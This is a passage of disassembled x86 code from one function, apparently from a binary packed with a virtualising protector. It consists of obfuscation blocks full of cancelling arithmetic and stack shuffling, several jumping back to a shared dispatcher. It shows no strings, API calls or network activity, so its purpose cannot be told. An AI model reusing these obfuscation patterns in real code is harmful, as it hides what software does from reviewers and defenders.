		mov	ebx, 0DB71B33h
		xor	[esp-6EA8h+arg_6EA4], ebx
		pop	ebx
		jmp	loc_5A58BF
; ---------------------------------------------------------------------------


loc_5A5A5E:				; CODE XREF: sub_581EE9+19BB9j
		push	esi
		mov	esi, 682403EAh
		sub	edx, esi
		jmp	loc_5A5113
; ---------------------------------------------------------------------------


loc_5A5A6B:				; CODE XREF: sub_581EE9+1D405j
		add	al, bl
		pop	ebx
		sub	dh, al
		pop	eax
		push	ebx
		push	ecx
		jmp	loc_5A2D12
; ---------------------------------------------------------------------------


loc_5A5A78:				; CODE XREF: sub_581EE9+10AFFj
		mov	eax, 39461D43h
		jmp	loc_5A61B6
; ---------------------------------------------------------------------------


loc_5A5A82:				; CODE XREF: sub_581EE9+22C2Fj
		add	edx, 9641CBBh
		add	edx, eax
		jmp	loc_59DD07
; ---------------------------------------------------------------------------


loc_5A5A8F:				; CODE XREF: sub_581EE9+2461Bj
		mov	ecx, 30FA2367h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_595390
; ---------------------------------------------------------------------------


loc_5A5AA2:				; CODE XREF: sub_581EE9+115E0j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5AA7:				; CODE XREF: sub_581EE9+119CEj
		mov	esp, [esp-6E9Eh+arg_6E96]
		sub	esi, 67122454h
		sub	esi, 0B2B2006h
		sub	esi, 3BC449D4h
		add	esi, edi
		add	esi, 3BC449D4h
		add	esi, 0B2B2006h
		add	esi, 67122454h
		push	[esp-6E9Eh+arg_6E96]
		pop	edi
		add	esp, 4
		add	esi, 2
		xor	esi, [esp-6EA2h+arg_6E9A]
		xor	[esp-6EA2h+arg_6E9A], esi
		jmp	loc_5A2F02
; ---------------------------------------------------------------------------


loc_5A5AEB:				; CODE XREF: sub_581EE9+1E239j
		push	esi
		mov	esi, esp
		jmp	loc_594AE8
; ---------------------------------------------------------------------------


loc_5A5AF3:				; CODE XREF: sub_581EE9+10EB3j
		mov	dh, 1Ch
		add	bh, dh
		pop	dx
		add	ch, 8Ah
		sub	ch, bh
		sub	ch, 8Ah
		jmp	loc_593C8A
; ---------------------------------------------------------------------------


loc_5A5B06:				; CODE XREF: sub_581EE9+24174j
		mov	edx, [esp-6E5Eh+arg_6E54+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E5Eh+arg_6E54+2],	ebx
		push	4EC8h
		push	esp
		pop	[esp-6E56h+arg_6E4C+2]
		add	[esp-6E5Ah+arg_6E50+2],	4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp-6E5Ah+arg_6E54+2]
		jmp	loc_59F211
; ---------------------------------------------------------------------------


loc_5A5B36:				; CODE XREF: sub_581EE9+1DA1Aj
		pop	edi
		add	esp, 4
		jmp	loc_5A0B25
; ---------------------------------------------------------------------------


loc_5A5B3F:				; CODE XREF: sub_581EE9+18642j
		push	[esp-6E6Eh+arg_6E64+2]
		push	[esp-6E6Ah+arg_6E60+2]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E66h+arg_6E5C+2]
		jmp	loc_596EE7
; ---------------------------------------------------------------------------


loc_5A5B5D:				; CODE XREF: sub_581EE9+19E52j
		pop	ebx
		pop	ecx
		pop	ecx
		push	esi
		mov	esi, 637B7F93h
		xor	esi, 133162FCh
		sub	esi, 132B73FEh
		jmp	loc_594121
; ---------------------------------------------------------------------------


loc_5A5B77:				; CODE XREF: sub_581EE9+24823j
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5B86:				; CODE XREF: sub_581EE9+201BFj
		add	ebp, esi
		push	[esp-6E3Eh+arg_6E36]
		jmp	loc_599182
; ---------------------------------------------------------------------------


loc_5A5B90:				; CODE XREF: sub_581EE9+146F6j
		push	7462h
		mov	[esp-6E96h+arg_6E8E], ebp
		mov	ebp, 53470667h
		jmp	loc_598536
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5BAA:				; CODE XREF: sub_581EE9+1FA6Ej
		push	[esp-6E94h+arg_6E8A+2]
		pop	ecx
		add	esp, 4
		jmp	loc_599F28
; ---------------------------------------------------------------------------


loc_5A5BB9:				; CODE XREF: sub_581EE9+1695Bj
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp-6E5Ch+arg_6E54]
		push	edx
		mov	edx, esp
		jmp	loc_59802D
; ---------------------------------------------------------------------------


loc_5A5BCB:				; CODE XREF: sub_581EE9+1095Aj
		xor	esi, 105E2929h
		dec	esi
		shl	esi, 1
		add	esi, 2688380Bh
		xor	esi, 10A708Ah
		jmp	loc_5942C7
; ---------------------------------------------------------------------------


loc_5A5BE5:				; CODE XREF: sub_581EE9+22118j
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		push	1B18h
		mov	[esp-6EA4h+arg_6E9A+2],	edi
		mov	edi, esp
		jmp	loc_5A4F24
; ---------------------------------------------------------------------------


loc_5A5BF7:				; CODE XREF: sub_581EE9+175E8j
		pop	ecx
		sub	ebp, 2D7A03F7h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5975BE
; ---------------------------------------------------------------------------


loc_5A5C06:				; CODE XREF: sub_581EE9+1643Ej
		add	esi, ecx
		pop	ecx
		push	7AB2h
		mov	[esp-6E72h+arg_6E68+2],	eax
		jmp	loc_59A451
; ---------------------------------------------------------------------------


loc_5A5C16:				; CODE XREF: sub_581EE9+1FEB7j
		sub	edx, ebx
		pop	ebx
		jmp	loc_5A4E01
; ---------------------------------------------------------------------------


loc_5A5C1E:				; CODE XREF: sub_581EE9+1C4B7j
		add	esp, 4
		push	esi
		push	4
		jmp	loc_59FC0D
; ---------------------------------------------------------------------------


loc_5A5C2F:				; CODE XREF: sub_581EE9+16F6Ej
		mov	[esp-6E9Eh+arg_6E96], eax
		jmp	loc_5A0142
; ---------------------------------------------------------------------------


loc_5A5C37:				; CODE XREF: sub_581EE9+12478j
		add	ebx, esi
		mov	esi, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		mov	[ebx], ch
		mov	ebx, [esp-6EA4h+arg_6E9A+2]
		sub	esp, 4
		mov	[esp-6EA0h+arg_6E96+2],	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp-6EA0h+arg_6E96+2]
		jmp	loc_5A54A8
; ---------------------------------------------------------------------------


loc_5A5C60:				; CODE XREF: sub_581EE9+16C6Dj
		and	ecx, edx
		jmp	loc_598F56
; ---------------------------------------------------------------------------


loc_5A5C67:				; CODE XREF: sub_581EE9+16DD8j
		pop	dx
		jmp	loc_59EF77
; ---------------------------------------------------------------------------


loc_5A5C6E:				; CODE XREF: sub_581EE9+1DB7Bj
		xor	edx, 71010CC9h
		sub	ebp, edx
		pop	edx
		add	ebp, 1C3D9839h
		mov	eax, ebp
		pop	ebp
		sub	[esp-6E82h+arg_6E7C+2],	1D2E761Fh
		add	[esp-6E82h+arg_6E7C+2],	eax
		push	4F83h
		jmp	loc_5A3AA6
; ---------------------------------------------------------------------------


loc_5A5C96:				; CODE XREF: sub_581EE9+25222j
		sub	esp, 4
		jmp	loc_594ECE
; ---------------------------------------------------------------------------


loc_5A5C9E:				; CODE XREF: sub_581EE9+14DC5j
		mov	eax, 6EA67095h
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 10484EA2h
		jmp	loc_59EE36
; ---------------------------------------------------------------------------


loc_5A5CB1:				; CODE XREF: sub_581EE9+19AD3j
		inc	ebp
		xor	ebp, 32626DEBh
		sub	ebp, 0E4D0F73h
		jmp	loc_5A35E5
; ---------------------------------------------------------------------------


loc_5A5CC3:				; CODE XREF: sub_581EE9+1F4A8j
		mov	edx, [esp+0]
		push	edx
		jmp	loc_597AFC
; ---------------------------------------------------------------------------


loc_5A5CCC:				; CODE XREF: sub_581EE9+1EDE0j
		mov	[esp-6EB2h+arg_6EA8+2],	ecx
		sub	esp, 4
		mov	[esp-6EAEh+arg_6EA4+2],	edx
		push	ebx
		mov	bl, 39h
		mov	dh, 0DAh
		jmp	loc_597FE8
; ---------------------------------------------------------------------------
		mov	sp, [esp-6EAAh+arg_6EA2]
		jmp	loc_5A3D84
; ---------------------------------------------------------------------------


loc_5A5CEB:				; CODE XREF: sub_581EE9+1AF17j
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	eax
		mov	eax, 36DA0307h
		add	eax, 7486368h
		xor	ebp, eax
		pop	eax
		add	ebp, 0E17242CCh
		xor	eax, ebp
		push	[esp-6E6Eh+arg_6E64+2]
		pop	ebp
		push	4D3Dh
		mov	[esp-6E6Ah+arg_6E60+2],	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 7BBB4961h
		shr	ecx, 4
		push	ebx
		mov	ebx, 0F8444B6Eh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A0FEB
; ---------------------------------------------------------------------------


loc_5A5D31:				; CODE XREF: sub_581EE9+1F142j
		mov	[esp-6E64h+arg_6E5C], ebx
		sub	esp, 4
		mov	[esp-6E60h+arg_6E58], esi
		mov	esi, 224F4CF1h
		and	esi, 152F0A1Bh
		jmp	loc_593553
; ---------------------------------------------------------------------------


loc_5A5D4A:				; CODE XREF: sub_581EE9+19FEEj
		push	1CDB6DA6h
		pop	edx
		push	edi
		mov	edi, 0F425A28h
		jmp	loc_5A44D9
; ---------------------------------------------------------------------------


loc_5A5D5B:				; CODE XREF: sub_581EE9+22CF2j
		pop	eax
		push	[esp-6E86h+arg_6E7C+2]
		pop	edx
		push	33EEh
		mov	dword ptr [esp-6E82h+arg_6E7A],	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		sub	al, 95h
		add	al, cl
		add	al, 95h
		mov	cx, word ptr [esp-6E86h+arg_6E7C+2]
		add	esp, 2
		jmp	loc_5A436F
; ---------------------------------------------------------------------------


loc_5A5D8C:				; CODE XREF: sub_581EE9+19954j
		mov	esi, 4
		add	edi, esi
		mov	esi, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59DEAF
; ---------------------------------------------------------------------------


loc_5A5D9B:				; CODE XREF: sub_581EE9+229F5j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5DA0:				; CODE XREF: sub_581EE9+194B2j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-6EB0h+arg_6EA8]
		pop	esp
		mov	[esp-6EB4h+arg_6EAC], ecx
		mov	ecx, 59F41B2Fh
		dec	ecx
		dec	ecx
		shl	ecx, 1
		jmp	loc_59737E
; ---------------------------------------------------------------------------


loc_5A5DC1:				; CODE XREF: sub_581EE9+20718j
		mov	esp, [esp-6EB4h+arg_6EAC]
		sub	eax, 7A3B7328h
		sub	eax, ebx
		add	eax, 7A3B7328h
		pop	ebx
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A5DDA:				; CODE XREF: sub_581EE9+13AD7j
		push	ecx
		mov	ecx, esp
		push	4D6Eh
		mov	[esp-6E9Ch+arg_6E92+2],	ebx
		mov	ebx, 7D1C174Ch
		sub	ebx, 507E107Ah
		or	ebx, 60E21FBAh
		xor	ebx, 6CFE1FFEh
		add	ecx, ebx
		pop	ebx
		jmp	loc_59E7A1
; ---------------------------------------------------------------------------


loc_5A5E04:				; CODE XREF: sub_581EE9+1C773j
		add	edx, edi
		push	dword ptr [edx]
		sub	esp, 4
		mov	[esp-6E76h+arg_6E6E], ebp
		push	4D1Ch
		mov	[esp-6E72h+arg_6E68+2],	edx
		mov	edx, 4EFC76EAh
		sub	edx, 17D060F2h
		mov	ebp, edx
		pop	edx
		xor	[esp-6E76h+arg_6E72], ebp
		mov	ebp, [esp-6E76h+arg_6E6E]
		add	esp, 4
		jmp	loc_5A604E
; ---------------------------------------------------------------------------


loc_5A5E33:				; CODE XREF: sub_581EE9+22589j
		mov	ecx, ebp
		pop	ebp
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-6E94h+arg_6E8A+2],	edx
		push	[esp-6E94h+arg_6E8E+2]
		jmp	loc_594C9F
; ---------------------------------------------------------------------------


loc_5A5E48:				; CODE XREF: sub_581EE9+20890j
		mov	ecx, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		add	al, 0FFh
		push	ecx
		jmp	loc_597298
; ---------------------------------------------------------------------------


loc_5A5E59:				; CODE XREF: sub_581EE9+14C7Aj
		mov	[esp-6E5Ah+arg_6E50+2],	ebx
		mov	ebx, 4
		add	edi, 62B151F3h
		add	edi, ebx
		push	edx
		jmp	loc_59B340
; ---------------------------------------------------------------------------


loc_5A5E6F:				; CODE XREF: sub_581EE9+200D5j
		add	eax, edx
		jmp	loc_5A198F
; ---------------------------------------------------------------------------


loc_5A5E76:				; CODE XREF: sub_581EE9+22420j
		push	ebx
		mov	ebx, 51DF3A86h
		jmp	loc_5973AA
; ---------------------------------------------------------------------------


loc_5A5E81:				; CODE XREF: sub_581EE9+1AC6Cj
		push	edi
		jmp	loc_5A3F83
; ---------------------------------------------------------------------------


loc_5A5E87:				; CODE XREF: sub_581EE9+125F5j
		mov	ebx, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		add	ebx, 514F3479h
		add	ebx, edx
		sub	ebx, 514F3479h
		pop	edx
		jmp	loc_59930F
; ---------------------------------------------------------------------------


loc_5A5EA1:				; CODE XREF: sub_581EE9+17E61j
		add	esp, 4
		add	ebp, 14BD37A1h
		pop	ecx
		shl	ebp, 8
		not	ebp
		jmp	loc_59E43A
; ---------------------------------------------------------------------------


loc_5A5EB5:				; CODE XREF: sub_581EE9+20962j
		xor	dx, bp
		pop	ebp
		add	di, dx
		pop	edx
		jmp	loc_5A7178
; ---------------------------------------------------------------------------


loc_5A5EC2:				; CODE XREF: sub_581EE9+11DF3j
		sub	ebx, 22031875h
		pop	edi
		sub	ebx, 4BFB3093h
		add	ebx, ecx
		add	ebx, 4BFB3093h
		add	ebx, 153D546Ah
		pop	ecx
		jmp	loc_5A2AA8
; ---------------------------------------------------------------------------


loc_5A5EE3:				; CODE XREF: sub_581EE9+1072Bj
		xor	edi, 3ED81176h
		not	edi
		jmp	loc_59FECD
; ---------------------------------------------------------------------------


loc_5A5EF0:				; CODE XREF: sub_581EE9+1CE4Bj
		push	ebp
		not	[esp-6E52h+arg_6E48+2]
		jmp	loc_5A5F92
; ---------------------------------------------------------------------------


loc_5A5EF9:				; CODE XREF: sub_581EE9+24632j
		pop	edi
		jmp	loc_5A019C
; ---------------------------------------------------------------------------


loc_5A5EFF:				; CODE XREF: sub_581EE9+2171Cj
		push	ecx
		mov	ecx, 677A76C4h
		inc	ecx
		inc	ecx
		sub	ecx, 21506438h
		sub	eax, ecx
		pop	ecx
		add	eax, 4F7825D4h
		sub	eax, 2D234525h
		add	eax, edx
		add	eax, 2D234525h
		push	edx
		mov	edx, 16CC75E4h
		xor	edx, 59B45030h
		add	eax, 3A065B0h
		sub	eax, edx
		jmp	loc_59CBD6
; ---------------------------------------------------------------------------


loc_5A5F39:				; CODE XREF: sub_581EE9+1F418j
		mov	ebx, 10E9F787h
		add	eax, ebx
		pop	ebx
		sub	edx, eax
		pop	eax
		add	edx, ebx
		jmp	loc_59B08A
; ---------------------------------------------------------------------------


loc_5A5F4B:				; CODE XREF: sub_581EE9+23728j
		sub	eax, 4
		jmp	loc_5A34E0
; ---------------------------------------------------------------------------


loc_5A5F55:				; CODE XREF: sub_581EE9+1613Fj
		pop	ecx
		jmp	loc_5A34F8
; ---------------------------------------------------------------------------


loc_5A5F5B:				; CODE XREF: sub_581EE9+20F7Ej
		push	ebp
		mov	ebp, 731073C0h
		jmp	loc_596C48
; ---------------------------------------------------------------------------


loc_5A5F66:				; CODE XREF: sub_581EE9+1A083j
		sub	bl, 37h
		jmp	loc_595817
; ---------------------------------------------------------------------------


loc_5A5F6E:				; CODE XREF: sub_581EE9+17364j
		mov	esi, 4E2B03C9h
		inc	esi
		inc	esi
		dec	esi
		or	esi, 1E8D7721h
		xor	esi, 5EAF77EFh
		add	edi, esi
		jmp	loc_5A2E76
; ---------------------------------------------------------------------------


loc_5A5F89:				; CODE XREF: sub_581EE9+19B17j
		push	dx
		mov	dh, 71h
		jmp	loc_598CB9
; ---------------------------------------------------------------------------


loc_5A5F92:				; CODE XREF: sub_581EE9+2400Bj
		pop	ebp
		inc	ebp
		or	ebp, 52584A14h
		push	6A77h
		mov	[esp-6E52h+arg_6E48+2],	edi
		push	eax
		mov	eax, 0D8F0D56h
		shr	eax, 4
		jmp	loc_5A3C47
; ---------------------------------------------------------------------------


loc_5A5FB0:				; CODE XREF: sub_581EE9+18C5Ej
		and	ebp, 509B1414h
		add	ebp, 77B720D5h
		or	eax, ebp
		push	[esp-6EC4h+arg_6EBA+2]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EC0h+arg_6EB6+2]
		pop	esp
		xor	eax, 7BB73BF9h
		jmp	loc_5A1F40
; ---------------------------------------------------------------------------


loc_5A5FDF:				; CODE XREF: sub_581EE9+14D91j
		sub	eax, 12156730h
		push	edx
		mov	edx, 23C5081h
		add	edx, 4580396Fh
		sub	eax, edx
		pop	edx
		sub	ebp, eax
		pop	eax
		dec	ebp
		sub	ebp, 0D4A911B5h
		mov	eax, ebp
		pop	ebp
		add	edx, 4AAD652Bh
		sub	edx, eax
		sub	edx, 4AAD652Bh
		push	[esp-6EAEh+arg_6EA4+2]
		pop	eax
		add	esp, 4
		jmp	loc_597400
; ---------------------------------------------------------------------------


loc_5A601A:				; CODE XREF: sub_581EE9+1557Aj
		pop	esp
		mov	[esp-6E5Ah+arg_6E50+2],	ebx
		jmp	loc_5A2822
; ---------------------------------------------------------------------------


loc_5A6023:				; CODE XREF: sub_581EE9+22733j
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, 4F2518DFh
		sub	edx, esi
		jmp	loc_59F82D
; ---------------------------------------------------------------------------


loc_5A603E:				; CODE XREF: sub_581EE9+1EAFCj
		mov	edx, 1
		add	ecx, edx
		pop	edx
		push	dword ptr [edi+24h]
		jmp	loc_597531
; ---------------------------------------------------------------------------


loc_5A604E:				; CODE XREF: sub_581EE9+23F45j
		mov	ecx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		xor	ecx, 372C15F8h
		push	[esp-6E7Eh+arg_6E76]
		jmp	loc_5A5B06
; ---------------------------------------------------------------------------


loc_5A6062:				; CODE XREF: sub_581EE9+19D03j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_598E3A
; ---------------------------------------------------------------------------


loc_5A606F:				; CODE XREF: sub_581EE9+14B50j
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		jmp	loc_5A027B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A608C:				; CODE XREF: sub_581EE9+15E03j
		push	edx
		pop	ecx
		pop	edx
		and	ecx, 63BB5DF7h
		dec	ecx
		add	ecx, 0FFFFFFFFh
		not	ecx
		inc	ecx
		push	esi
		mov	esi, 9E56B750h
		sub	ecx, esi
		pop	esi
		add	edx, ecx
		mov	ecx, [esp-6EBAh+arg_6EB2]
		add	esp, 4
		jmp	loc_5A255D
; ---------------------------------------------------------------------------


loc_5A60B5:				; CODE XREF: sub_581EE9+13773j
		mov	edi, 7F3905C8h
		add	[esp-6E62h+arg_6E5C+2],	edi
		pop	edi
		pop	edi
		sub	edi, 7F3905C8h
		pop	ebp
		add	eax, edi
		push	[esp-6E6Eh+arg_6E64+2]
		pop	edi
		add	esp, 4
		sub	ebx, 49261E0h
		push	ebx
		jmp	loc_59A8AD
; ---------------------------------------------------------------------------


loc_5A60DC:				; CODE XREF: sub_581EE9+12153j
		push	ebx
		push	4728h
		push	esp
		pop	[esp-6E6Ah+arg_6E60+2]
		jmp	loc_592513
; ---------------------------------------------------------------------------


loc_5A60EB:				; CODE XREF: sub_581EE9+16E21j
		mov	ebx, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		xchg	ecx, [esp-6E86h+arg_6E7C+2]
		jmp	loc_5A285B
; ---------------------------------------------------------------------------


loc_5A60FC:				; CODE XREF: sub_581EE9+18879j
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E88h+arg_6E80]
		mov	esp, [esp-6E88h+arg_6E80]
		mov	[esp-6E88h+arg_6E80], ecx
		push	edi
		jmp	loc_5A35DB
; ---------------------------------------------------------------------------


loc_5A6114:				; CODE XREF: sub_581EE9+1E222j
		xchg	eax, ebx
		not	ebx
		jmp	loc_5A5588
; ---------------------------------------------------------------------------


loc_5A611C:				; CODE XREF: sub_581EE9+151C6j
		push	eax
		xchg	ebx, [esp+0]
		push	0CE8h
		mov	[esp-6E46h+arg_6E3E], ebx
		not	[esp-6E46h+arg_6E3E]
		mov	ebx, [esp-6E46h+arg_6E3E]
		add	esp, 4
		jmp	loc_5A4746
; ---------------------------------------------------------------------------


loc_5A6136:				; CODE XREF: sub_581EE9+170E7j
		push	edi
		mov	edi, 151165A0h
		jmp	loc_59EED3
; ---------------------------------------------------------------------------


loc_5A6141:				; CODE XREF: sub_581EE9+11D17j
		push	32BEh
		mov	[esp-6E7Ah+arg_6E72], eax
		mov	eax, 25AA34C6h
		push	31F1h
		mov	[esp-6E76h+arg_6E6E], ebp
		mov	ebp, 3C46D459h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5A0D28
; ---------------------------------------------------------------------------


loc_5A6163:				; CODE XREF: sub_581EE9+1C6A9j
		mov	[esp-6E68h+arg_6E60], ebx
		jmp	loc_5A3C2F
; ---------------------------------------------------------------------------


loc_5A616B:				; CODE XREF: sub_581EE9+165D7j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6E64h+arg_6E5C]
		pop	esp
		push	ecx
		inc	byte ptr [esp-6E64h+arg_6E5C+1]
		jmp	loc_5A1BEC
; ---------------------------------------------------------------------------


loc_5A6185:				; CODE XREF: sub_581EE9+186FEj
		sub	ecx, 31970B82h
		mov	esi, ecx
		pop	ecx
		neg	esi
		xor	esi, 0CFDB96F5h
		add	ebx, esi
		pop	esi
		push	ecx
		push	2
		pop	ecx
		push	edi
		jmp	loc_5A1BCB
; ---------------------------------------------------------------------------


loc_5A61A6:				; CODE XREF: sub_581EE9+1BEB5j
		mov	ecx, ebp
		pop	ebp
		pop	edx
		sub	esi, ecx
		mov	ecx, [esp-6EAEh+arg_6EA4+2]
		push	edx
		push	esp
		jmp	loc_59BE65
; ---------------------------------------------------------------------------


loc_5A61B6:				; CODE XREF: sub_581EE9+23B94j
		dec	eax
		shl	eax, 1
		add	eax, 0CC562186h
		mov	ebx, eax
		jmp	loc_595D8E
; ---------------------------------------------------------------------------


loc_5A61C5:				; CODE XREF: sub_581EE9+1C763j
		push	ecx
		mov	ecx, 414D3DDCh
		mov	edi, ecx
		pop	ecx
		sub	eax, 27AF3962h
		jmp	loc_594FF0
; ---------------------------------------------------------------------------


loc_5A61D8:				; CODE XREF: sub_581EE9+1C6B2j
		push	33F8h
		mov	[esp-6E64h+arg_6E5C], esi
		push	35CFh
		mov	[esp-6E60h+arg_6E58], esp
		jmp	loc_595E1F
; ---------------------------------------------------------------------------


loc_5A61ED:				; CODE XREF: sub_581EE9+112E3j
		xchg	edx, [esp]
		jmp	loc_5A50E7
; ---------------------------------------------------------------------------


loc_5A61F5:				; CODE XREF: sub_581EE9+1D1E3j
		push	edx
		mov	edx, 3EEF0AF8h
		sub	eax, edx
		pop	edx
		jmp	loc_596D9B
; ---------------------------------------------------------------------------


loc_5A6203:				; CODE XREF: sub_581EE9+14AA6j
		shr	eax, 1
		inc	eax
		push	esi
		mov	esi, 69587330h
		jmp	loc_599473
; ---------------------------------------------------------------------------


loc_5A6211:				; CODE XREF: sub_581EE9+15317j
		mov	ebx, esi
		pop	esi
		pop	edi
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp-6EB6h+arg_6EB2]
		jmp	loc_594533
; ---------------------------------------------------------------------------


loc_5A6222:				; CODE XREF: sub_581EE9+145D8j
		add	al, 0E7h
		push	ecx
		mov	ch, 70h
		jmp	loc_598070
; ---------------------------------------------------------------------------


loc_5A622C:				; CODE XREF: sub_581EE9+21AF5j
		sub	edx, 97111E4h
		pop	esi
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		jmp	loc_5A0EAF
; ---------------------------------------------------------------------------


loc_5A6240:				; CODE XREF: sub_581EE9+1B865j
		shr	ebp, 3
		push	esi
		jmp	loc_59D96D
; ---------------------------------------------------------------------------


loc_5A6249:				; CODE XREF: sub_581EE9+1830Bj
		dec	eax
		push	ecx
		mov	ecx, 3DC502FBh
		xor	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 20B639D5h
		xor	edi, 3DCC0D0Eh
		jmp	loc_5A375D
; ---------------------------------------------------------------------------


loc_5A6264:				; CODE XREF: sub_581EE9+245BCj
		xchg	edx, [esp-6E7Ah+arg_6E72]
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp-6E76h+arg_6E6E]
		add	esp, 4
		push	esi
		mov	esi, 227577AAh
		xor	esi, 6B301534h
		sub	esi, 103E74F4h
		add	esi, 1
		shl	esi, 6
		jmp	loc_5A0D14
; ---------------------------------------------------------------------------


loc_5A6293:				; CODE XREF: sub_581EE9+18719j
		sub	eax, 48C5DC6h
		mov	edx, [esp-6E5Ch+arg_6E54]
		jmp	loc_595C8F
; ---------------------------------------------------------------------------


loc_5A62A0:				; CODE XREF: sub_581EE9+109C0j
		pop	ecx
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		mov	ebx, 72DA2738h
		shr	ebx, 8
		push	edx
		jmp	loc_5A2CA2
; ---------------------------------------------------------------------------


loc_5A62B5:				; CODE XREF: sub_581EE9+217BDj
		mov	eax, 0D559A464h
		add	ecx, eax
		pop	eax
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		add	eax, 6A59277Dh
		pop	ebx
		sub	eax, 721BE990h
		sub	edi, eax
		pop	eax
		push	ebx
		jmp	loc_59200A
; ---------------------------------------------------------------------------
		push	[esp-6EB4h+arg_6EAC]
		mov	eax, [esp-6EB0h+arg_6EA8]
		push	2599h
		mov	[esp-6EACh+arg_6EA4], esi
		push	4876h
		mov	[esp-6EA8h+arg_6E9E+2],	esp
		add	[esp-6EA8h+arg_6E9E+2],	4
		pop	esi
		jmp	loc_594366
; ---------------------------------------------------------------------------


loc_5A62F9:				; CODE XREF: sub_581EE9+13365j
		mov	ebx, 4
		jmp	loc_597129
; ---------------------------------------------------------------------------


loc_5A6303:				; CODE XREF: sub_581EE9+15453j
		xor	ebp, 24BCEEA2h
		add	ecx, ebp
		jmp	loc_5970C2
; ---------------------------------------------------------------------------


loc_5A6310:				; CODE XREF: sub_581EE9+23206j
		add	esp, 4
		jmp	loc_59CF1D
; ---------------------------------------------------------------------------


loc_5A631B:				; CODE XREF: sub_581EE9+22394j
		add	ebx, esi
		pop	esi
		sub	ebx, edx
		sub	ebx, 3CFD7B06h
		pop	edx
		movzx	ax, byte ptr [eax]
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		push	edi
		mov	edi, 0A2F59FAh
		shl	edi, 4
		not	edi
		add	edi, 1B68300Ch
		jmp	loc_5A53A1
; ---------------------------------------------------------------------------


loc_5A634A:				; CODE XREF: sub_581EE9+1A69Ej
		push	small 264Dh
		mov	word ptr [esp-6E84h+arg_6E7C], cx
		jmp	loc_59FE6D
; ---------------------------------------------------------------------------


loc_5A6357:				; CODE XREF: sub_581EE9+20181j
		add	esi, ebx
		add	esi, 51CD3A69h
		add	esi, 6C3A66E8h
		pop	ebx
		jmp	loc_597803
; ---------------------------------------------------------------------------


loc_5A636B:				; CODE XREF: sub_581EE9+1EE9Bj
		mov	cl, bl
		mov	ebx, [esp-6E86h+arg_6E7C+2]
		jmp	loc_59DFDF
; ---------------------------------------------------------------------------


loc_5A6375:				; CODE XREF: sub_581EE9+150F2j
		mov	ecx, edi
		pop	edi
		jmp	loc_59FB9A
; ---------------------------------------------------------------------------


loc_5A637D:				; CODE XREF: sub_581EE9+19925j
		xor	ecx, 0E329C64Ah
		add	esi, ecx
		pop	ecx
		add	esi, 38D37D99h
		sub	esi, 8F9FA172h
		jmp	loc_5A2879
; ---------------------------------------------------------------------------


loc_5A6397:				; CODE XREF: sub_581EE9+2337Fj
		xchg	edi, [esp-6E64h+arg_6E5C]
		jmp	loc_5993CC
; ---------------------------------------------------------------------------


loc_5A639F:				; CODE XREF: sub_581EE9+1AEC8j
		pop	eax
		shl	ebp, 8
		shl	ebp, 6
		and	ebp, 342B36E4h
		xor	ebp, 102B0004h
		add	ecx, ebp
		jmp	loc_599A19
; ---------------------------------------------------------------------------


loc_5A63B9:				; CODE XREF: sub_581EE9+2489Bj
		not	edi
		jmp	loc_596C8C
; ---------------------------------------------------------------------------


loc_5A63C0:				; CODE XREF: sub_581EE9+16B0Aj
		sub	bl, al
		add	bl, 39h
		pop	eax
		add	bl, 0D1h
		sub	esp, 4
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ebp
		push	ecx
		mov	ecx, 20F15034h
		shl	ecx, 5
		sub	ecx, 0D1E8B329h
		push	ebx
		jmp	loc_5A1DDA
; ---------------------------------------------------------------------------


